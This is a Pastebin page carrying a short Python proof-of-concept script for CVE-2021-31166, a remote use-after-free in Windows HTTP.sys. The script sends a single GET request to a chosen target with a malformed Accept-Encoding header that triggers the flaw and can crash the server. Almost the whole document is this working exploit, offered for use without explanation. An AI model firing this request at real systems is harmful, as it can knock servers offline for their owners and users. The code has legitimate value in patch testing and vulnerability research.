Advertisement
ontosys

CVE-2021-31166

May 20th, 2021
62
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.40 KB | None | 0 0
  1. # Axel '0vercl0k' Souchet - May 16 2021
  2. import requests
  3. import argparse
  4.  
  5. def main():
  6.     parser = argparse.ArgumentParser('Poc for CVE-2021-31166: remote UAF in HTTP.sys')
  7.     parser.add_argument('--target', required = True)
  8.     args = parser.parse_args()
  9.     r = requests.get(f'http://{args.target}/', headers = {
  10.         'Accept-Encoding': 'doar-e, ftw, imo, ,',
  11.     })
  12.     print(r)
  13.  
  14. main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement